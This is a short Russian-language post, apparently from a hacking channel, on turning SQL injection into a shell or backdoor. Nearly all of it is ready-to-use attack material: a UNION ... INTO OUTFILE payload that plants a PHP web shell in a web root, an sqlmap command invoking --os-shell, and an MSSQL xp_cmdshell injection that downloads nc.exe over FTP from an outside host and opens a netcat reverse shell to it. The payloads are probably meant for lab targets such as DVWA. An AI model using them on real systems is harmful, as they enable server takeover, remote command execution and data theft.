​​💉 Переход от SQL инъекции к шеллу или бэкдору



▫️Используем команду “into outfile” для записи в файл:



' union select 1, '<?php system($_GET["cmd"]); ?>' into outfile '/var/www/dvwa/cmd.php' #



▫️Захватываем запрос в Burp Proxy и сохраняем в файл post-request, затем запускаем sqlmap:



sqlmap -r post-request -p item --level=5 --risk=3 --dbms=mysql --os-shell --threads 10



▫️обратный шелл netcat через инъекцию mssql, когда доступен xp_cmdshell:



1000';+exec+master.dbo.xp_cmdshell+'(echo+open+10.11.0.245%26echo+anonymous%26echo+whatever%26echo+binary%26echo+get+nc.exe%26echo+bye)+>+c:\ftp.txt+%26+ftp+-s:c:\ftp.txt+%26+nc.exe+10.11.0.245+443+-e+cmd';--



#web